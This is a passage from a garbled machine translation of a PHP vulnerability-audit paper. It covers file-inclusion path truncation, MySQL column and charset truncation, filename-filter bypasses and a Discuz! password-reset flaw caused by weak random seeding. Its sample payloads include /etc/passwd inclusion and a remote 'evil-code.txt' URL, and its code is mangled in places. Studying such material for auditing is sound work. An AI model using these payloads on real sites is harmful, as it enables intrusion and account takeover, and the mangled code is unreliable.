Submit“action=/etc/passwd%0 0”“%0 0”will truncate behind“. php”, but in addition to“%0 0”and there is no Other characters can achieve truncation use? Surely someone thought of the remote contains the url where the question mark“?” The role, by submitting “action=http://www.hacksite.com/evil-code.txt?” Here“?” To achieve a“pseudo-truncate”: the, and as if this Looks not so comfortable then we simple write a code to fuzz about it:

--code-------------------------------------------------------------------------

<? php //////////////////// ////var5. php code: ////include $_GET["action"].". php"; ////print strlen(realpath("./"))+ strlen($_GET["action"]); /////////////////// ini_set("max_execution_time", 0); $str=""; for($i=0;$i<5 0 0 0 0;$i++) { $str=$str."/";

$resp=file_get_contents("http://127.0.0.1/var/var5.php?action=1.txt".$ str); //1. txt the code to print "hi"; if (strpos($resp, "hi") !== false){ print $i; exit; } } ?& gt;

-------------------------------------------------------------------------------

After the test character“.”,“ the /”, Or 2 characters of the combination, in a certain length will be truncated, the win system andnix The system length is not the same, when a win under the strlen(realpath("./"))+ strlen($_GET["action"])is greater than the length 2 5 6 is cut off, fornix, the length is 4 * 1 0 2 4 = 4 0 9 6 on. For php. ini to set the remote file is closed when the You can use the above tips contains the local file. This vulnerability by cloie#ph4nt0m. org first found])

5.6.1.2 data truncated

For many web applications in a multi-function is not allowed Duplicate data, such as user registration functions. The General should be Application for submission of registration of the username and database in the existing username comparison is not to have duplicate data, then And we can be“Data truncation”, etc. to bypass these judgments, the database in the processing time to generate truncated result in the insertion repeats number Data.

1) Mysql SQL Column Truncation Vulnerabilities

This vulnerability is a large cattle Stefan Esser discovered by Stefan Esser is my idol:) this is due to mysql The sql_mode is set to default, i.e. no turn on STRICT_ALL_TABLES option, MySQL for insertion of Super Long the value will only prompt the warning, instead of error if it is error on the Insert is unsuccessful, which may cause some cut Off the the problem. The test is as follows:

--code------------------------------------------------------------------------- mysql> insert into truncated_test(username,password) values("admin","pass");

mysql> insert into truncated_test(username,password) values("admin x", "new_pass"); Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> select * from truncated_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec) -------------------------------------------------------------------------------

2) Mysql charset Truncation vulnerability

This vulnerability is 80sec found, when mysql for data storage and processing utf8 data such as time of certain characters resulting in data Truncated. The test is as follows:

--code------------------------------------------------------------------------- mysql> insert into truncated_test(username,password) values(concat("admin",0xc1), "new_pass2"); Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from truncated_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | | 3 | admin | new_pass2 | +----+------------+----------+ 2 rows in set (0.00 sec) -------------------------------------------------------------------------------

Many of the web applications without taking into account these problems, just in the data storage before the simple query whether the data contains the same Data, as in the following code:

--code-------------------------------------------------------------------------

$result = mysql_query("SELECT * from test_user where user="$user" "); .... if(@mysql_fetch_array($result, MYSQL_NUM)) { die("already exist"); }

-------------------------------------------------------------------------------

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit strategy: read through the code +++++++++++++++++++++++++

5.6.1.3 file operations in the special characters

File operations there are many special characters that play a special role, many web applications have not addressed these words Identifier and causes the security issues. For example, many people are aware of the windows System File name for“space”and“.” Like the neglect, this Mainly reflected in the Upload file or write the file, resulting directly write a webshell on. In addition to the windows System The“.\..\” For system jumps, and so on.

The following back to you about a very interesting question:

--code-------------------------------------------------------------------------

//Is this code vul? if( eregi(". php",$url) ){ die("ERR"); } $fileurl=str_replace($webdb[www_url],"",$url); ..... header("Content-Disposition: attachment; filename=".$ filename);

-------------------------------------------------------------------------------

A lot of people seen to the above code, The program first the prohibition of the use“. php”suffix. But the following actually took A str_replace to replace$webdb[www_url]is empty, then we submit“. p$webdb[www_url]hp”can be spared . So the above code heteroaryl fix? Someone is given the following code:

--code-------------------------------------------------------------------------

$fileurl=str_replace($webdb[www_url],"",$url); if( eregi(". php",$url) ){ die("ERR"); }

-------------------------------------------------------------------------------

str_replace mentioned previously, it is the perfect solution to the str_replace code security issues, but the problem is not that It is simple, the above code on some systems like can break. Next let's look at the following code:

--code-------------------------------------------------------------------------

<? php for($i=0;$i<2 5 5;$i++) { $url = "1. ph". chr($i); $tmp = @file_get_contents($url); if(! empty($tmp)) echo chr($i)."\ r\n"; } ?& gt;

-------------------------------------------------------------------------------

We are on a windows system running the above code give the following characters:* < > ? P p 都 可以 打开 目录 下 的 1.php the.

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit strategy: read the pickup operation of the function +++++++++++++++++++++++++

Six, how to further the search for new dictionary

Above we listed a lot of dictionaries, but many are already disclosed through the vulnerabilities or manner, then weHow to feed a Find a new dictionary or use?

  • Analysis and learning others found the vulnerability, or exp, summed up the vulnerability type and the dictionary.

  • By learning the php manual or official document,tap New harmful function or the use of the way.

  • fuzz the php function, find the new issue of the function not necessarily overflow, such as on a Chapter 4. Section 6 A lot of it can be a simple fuzz script can test it out.

  • Analysis of php source code, new vulnerabilities are discovered the function“characteristics”or vulnerability. In the previous section in the description of those“loophole review Ruse slightly”, not the php source code analysis, if you want to further found new dictionaries, in php source code base On analysis of the following causes, then according to the causes to analysis to find new vulnerabilities function“feature”or bug.) We will later Published some of our php source code analysis

  • There are conditions or opportunities and developers to learn, to find they implement some common functionality of a code defect or easily ignored. Visual problems

  • Do you have anything to add? :)

Seven, DEMO

  • DEMO -- Discuz! Reset User Password 0day Vulnerability analysis (Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)

PHP version requirements:php4 php5<5.2.6 System Requirements: No Audit policy:to find mt_srand/mt_rand

The first step to install Discuz! 6. 1 after use grep to find mt_srand get:

-------------------------------------------------------------------------------

heige@heige-desktop:~/dz6/upload$ grep-in "mt_srand" -r ./ - the colour -5 ./ include/global. func. php-6 9 4- $GLOBALS["rewritecompatible"] && $name = rawurlencode($name); ./ include/global. func. php-6 9 5 - return "<a href="tag-".$ name.". html"". stripslashes($extra)."& gt;"; ./ include/global. func. php-6 9 6-} ./ include/global. func. php-6 9 7- ./ include/global. func. php-6 9 8-function random($length, $numeric = 0) { ./ include/global. func. php:6 9 9: PHP_VERSION < "4.2.0" && mt_srand((double)microtime() * 1 0 0 0 0 0 0); ./ include/global. func. php-7 0 0 - if($numeric) { ./ include/global. func. php-7 0 1- $hash = sprintf("%0".$ length"d", mt_rand(0, pow(1 0, $length) - 1)); ./ include/global. func. php-7 0 2- } else { ./ include/global. func. php-7 0 3- $hash = ""; ./ include/global. func. php-7 0 4- $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"; -- ./ include/discuzcode. func. php-3 0- ./ include/discuzcode. func. php-3 1-if(! isset($_DCACHE["bbcodes"]) || ! is_array($_DCACHE["bbcodes"]) || ! is_array($_DCACHE["smilies"])) { ./ include/discuzcode. func. php-3 2- @include DISCUZ_ROOT."./ forumdata/cache/cache_bbcodes.php"; ./ include/discuzcode. func. php-3 3-} ./ include/discuzcode. func. php-3 4- ./ include/discuzcode. func. php:3 5:mt_srand((double)microtime() * 1 0 0 0 0 0 0); ./ include/discuzcode. func. php-3 6- ./ include/discuzcode. func. php-3 7-function attachtag($pid, $aid, &$postlist) { ./ include/discuzcode. func. php-3 8 - global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml; ./ include/discuzcode. func. php-3 9- $attach = $postlist[$pid]["attachments"][$aid]; ./ include/discuzcode. func. php-4 0 - if($attach["attachimg"]) {

-------------------------------------------------------------------------------

There are two files used to mt_srand (), the first 1 is in the./ include/global. func. php random function random ():

--code-------------------------------------------------------------------------

PHP_VERSION < "4.2.0" && mt_srand((double)microtime() * 1 0 0 0 0 0 0);

-------------------------------------------------------------------------------

Determine the version, if it is PHP_VERSION > "4.2.0"use php itself the default seeding. From the previous Chapter where the points Analysis we can see that using php itself the default seeding of the sub-program in two cases:

1) "Cross Application Attacks" the idea is that as long as the target on the use of procedures defined in a similar mt_srand((double)microtime() * 1 0 0 0 0 0 0)the sowing of words, and is likely to be violence. In the dz there is not need to To Cross the Application, because he itself has the file defines, that is, above the first 2 files:

--code-------------------------------------------------------------------------

./ include/discuzcode. func. php:3 5:mt_srand((double)microtime() * 1 0 0 0 0 0 0);

-------------------------------------------------------------------------------

Here we are sure dz is the presence of this loophole, the article give out exp that is based on this. In particular, exp use Process interested can own analysis])

2) some people think that if there is no mt_srand((double)microtime() * 1 0 0 0 0 0 0);here's the definition, then dz is Does not exist vulnerability, this is incorrect. First of all, you can't guarantee someone else using the other applications not defined, again not The use of"Cross Application Attacks", the 5.2.6>php>4.2.0 php itself the default seeding algorithm is not very strong Defended the analysis detailed above, there can be violence out, just slower.

Eight, something

This article is 80vul three Malaysian a: 80vul-A, 80vul-B, 80vul-C collective wisdom, especially 80vul-B tribute Offer a lot of new discoveries. Also need to thank is articles those mentioned by the vulnerability discoverer, not their results also No this article. This article is not to write“reference”, because this article is a summary of the text block, there are too many connections the need to provide limited to Article The web will not enumerate, the heart of the readers can make their own google. In addition not originally intend to publish this article, because it contains Too much application of 0day, and there is too much disrespect for others results, always use from someone that learned the techniques to Show off, and even Reap benefits. Here we hope you can be in this article to learn something, the more hope if by this article you Find some applications 0day, please low-key process, or submitted directly to the official patch, Thank you everyone!!

Nine, Appendix

[1] http://bbs.phpchina.com/attachment.php?aid=22294 [2] http://www.php-security.org/ [3] http://bugs.php.net/bug.php?id=40114